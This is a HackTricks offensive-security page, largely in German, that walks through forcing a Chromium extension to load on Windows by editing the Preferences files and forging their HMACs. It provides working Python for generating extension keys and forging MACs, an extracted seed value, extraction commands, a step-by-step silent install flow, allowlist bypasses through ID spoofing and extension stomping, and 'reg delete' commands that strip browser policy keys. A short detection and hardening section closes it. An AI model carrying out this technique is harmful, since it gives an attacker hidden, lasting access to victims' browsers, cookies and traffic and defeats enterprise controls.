Forced Extension Load & Preferences MAC Forgery (Windows)

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Überblick

Tarnbare post-exploitation-Technik, um arbitrary extensions in Chromium-basierten Browsern unter Windows zu laden, indem die Preferences/Secure Preferences eines Nutzers bearbeitet und gĂŒltige HMACs fĂŒr die modifizierten Nodes gefĂ€lscht werden. Funktioniert gegen Chrome/Chromium, Edge und Brave. Beobachtet auf Chromium 130 bis 139 zum Zeitpunkt der Veröffentlichung. Eine einfache disk write primitive im Profil des Opfers reicht aus, um eine voll-privilegierte extension persistent zu hinterlegen, ohne command-line flags oder Benutzeraufforderungen.

Kernidee: Chromium speichert pro Nutzer den extension state in einer JSON Preferences-Datei und schĂŒtzt sie mit HMAC-SHA256. Wenn du gĂŒltige MACs mit dem im Browser eingebetteten seed berechnest und sie neben deinen injizierten Nodes schreibst, akzeptiert und aktiviert der Browser deinen extension-Eintrag.

Where extension state lives (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root “super_mac”).
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
  • extensions.settings.<extension_id> → eingebettetes Manifest/Metadaten fĂŒr den extension-Eintrag
  • protection.macs.extensions.settings.<extension_id> → HMAC fĂŒr diesen JSON-Blob
  • Chromium ≄134: extensions.ui.developer_mode (boolean) muss vorhanden und MAC‑signed sein, damit unpacked extensions aktiviert werden

Simplified schema (illustrative):

{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Hinweise:

  • Edge/Brave verwenden Ă€hnliche Strukturen. Der “protection seed”-Wert kann abweichen (bei Edge/Brave wurde in einigen Builds beobachtet, dass ein null-/anderer Seed verwendet wird).

Extension IDs: path vs key and making them deterministic

Chromium leitet die Extension-ID wie folgt ab:

  • Gepackte/signierte extension: ID = SHA‑256 ĂŒber DER‑encoded SubjectPublicKeyInfo (SPKI) → nimm die ersten 32 Hex-Zeichen → mappe 0–f auf a–p
  • Unpacked (no key in manifest): ID = SHA‑256 ĂŒber die Bytes des absoluten Installationspfads → mappe 0–f auf a–p

Um eine stabile ID ĂŒber Hosts hinweg beizubehalten, bette einen festen base64 DER public key in manifest.json unter “key” ein. Die ID wird aus diesem key abgeleitet statt aus dem Installationspfad.

Helfer, um eine deterministische ID und ein SchlĂŒsselpaar zu erzeugen:

import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

FĂŒge den erzeugten public key in deine manifest.json ein, um die ID zu sperren:

{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium schĂŒtzt die Preferences mit HMAC‑SHA256 ĂŒber “path” + serialized JSON value jedes Knotens. Der HMAC‑Seed ist in der resources.pak des Browsers eingebettet und war bis Chromium 139 noch gĂŒltig.

Extrahiere den Seed mit GRIT pak_util und finde den Seed-Container (file id 146 in getesteten Builds):

python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Berechne MACs (HEX in Großbuchstaben) wie folgt:

ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Minimales Python-Beispiel:

import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
  • Schreibe die Werte unter:
  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≄134)

Browser-Unterschiede: Bei Microsoft Edge und Brave kann der seed null/anders sein. Die HMAC-Struktur bleibt gleich; passe den seed entsprechend an.

Implementierungstipps

  • Verwende genau dieselbe JSON-Serialisierung, die Chromium beim Berechnen der MACs nutzt (kompaktes JSON ohne Leerraum ist in der Praxis sicher; das Sortieren von SchlĂŒsseln kann helfen, Reihenfolgeprobleme zu vermeiden).
  • Stelle sicher, dass extensions.ui.developer_mode existiert und auf Chromium ≄134 signiert ist, sonst wird dein unpacked-Eintrag nicht aktiviert.

End‑to‑end silent load flow (Windows)

  1. Erzeuge eine deterministische ID und bette “key” in manifest.json ein; bereite eine unpacked MV3 extension mit den gewĂŒnschten Berechtigungen (service worker/content scripts) vor
  2. Erstelle extensions.settings., indem du das manifest und die minimalen Installations-Metadaten einfĂŒgst, die Chromium benötigt (state, path fĂŒr unpacked, etc.)
  3. Extrahiere den HMAC seed aus resources.pak (file 146) und berechne zwei MACs: einen fĂŒr den settings-Knoten und einen fĂŒr extensions.ui.developer_mode (Chromium ≄134)
  4. Schreibe die gefertigten Knoten und MACs in das Zielprofil unter Preferences/Secure Preferences; beim nÀchsten Start wird deine Extension mit den deklarierten vollen Berechtigungen automatisch aktiviert

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Beschaffe dessen public key (z. B. via chrome.runtime.getManifest().key im background/service worker oder durch Herunterladen/Parsen der .crx)
  3. Setze diesen key als manifest.key in deiner modifizierten Extension, um dieselbe ID zu reproduzieren
  4. Registriere den Eintrag in Preferences und signiere die MACs → ExtensionInstallAllowlist-PrĂŒfungen, die nur anhand der ID matchen, werden umgangen
  • Extension stomping (ID collision precedence)

  • Wenn eine lokale unpacked extension dieselbe ID wie eine installierte Web Store extension hat, bevorzugt Chromium die unpacked. Das ersetzt effektiv die legitime Extension in chrome://extensions, wĂ€hrend die vertrauenswĂŒrdige ID erhalten bleibt. Verifiziert auf Chrome und Edge (z. B. Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • Mit Administratorrechten lösche/modifiziere Policy-Keys, bevor du deine EintrĂ€ge schreibst, um Blockaden zu vermeiden:

reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

AuffĂ€lliger Fallback: Laden ĂŒber die Kommandozeile

Ab Chromium ≄137 erfordert –load-extension außerdem das Übergeben von:

--disable-features=DisableLoadExtensionCommandLineSwitch

Dieser Ansatz ist weit verbreitet bekannt und wird ĂŒberwacht (z. B. durch EDR/DFIR; verwendet von commodity malware wie Chromeloader). Preference MAC forging ist unauffĂ€lliger.

Verwandte Flags und weitere plattformĂŒbergreifende Tricks werden hier besprochen:

macOS Chromium Injection

Betriebliche Auswirkungen

Sobald sie akzeptiert ist, lĂ€uft die Extension mit ihren deklarierten Berechtigungen und ermöglicht DOM‑Zugriff, das Abfangen/Weiterleiten von Requests, Zugriff auf Cookies/Storage und Screenshot‑Aufnahme — effektiv In‑Browser‑CodeausfĂŒhrung und dauerhafte Persistenz im Benutzerprofil. Die Remote‑Bereitstellung ĂŒber SMB oder andere KanĂ€le ist einfach, da die Aktivierung datengetrieben ĂŒber Preferences erfolgt.

Erkennung und HĂ€rtung

  • Überwache Nicht‑Chromium‑Prozesse, die in Preferences/Secure Preferences schreiben, besonders neue Knoten unter extensions.settings gepaart mit protection.macs‑EintrĂ€gen
  • Alarmiere bei unerwartetem Umschalten von extensions.ui.developer_mode und bei HMAC‑gĂŒltigen, aber nicht genehmigten Extension‑EintrĂ€gen
  • ÜberprĂŒfe HKCU/HKLM Software\Policies auf Manipulation; setze Richtlinien ĂŒber device management/Chrome Browser Cloud Management durch
  • Bevorzuge forced‑install aus dem Store mit verifizierten Publishern anstelle von Allowlists, die nur anhand der Extension‑ID matchen

Quellen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks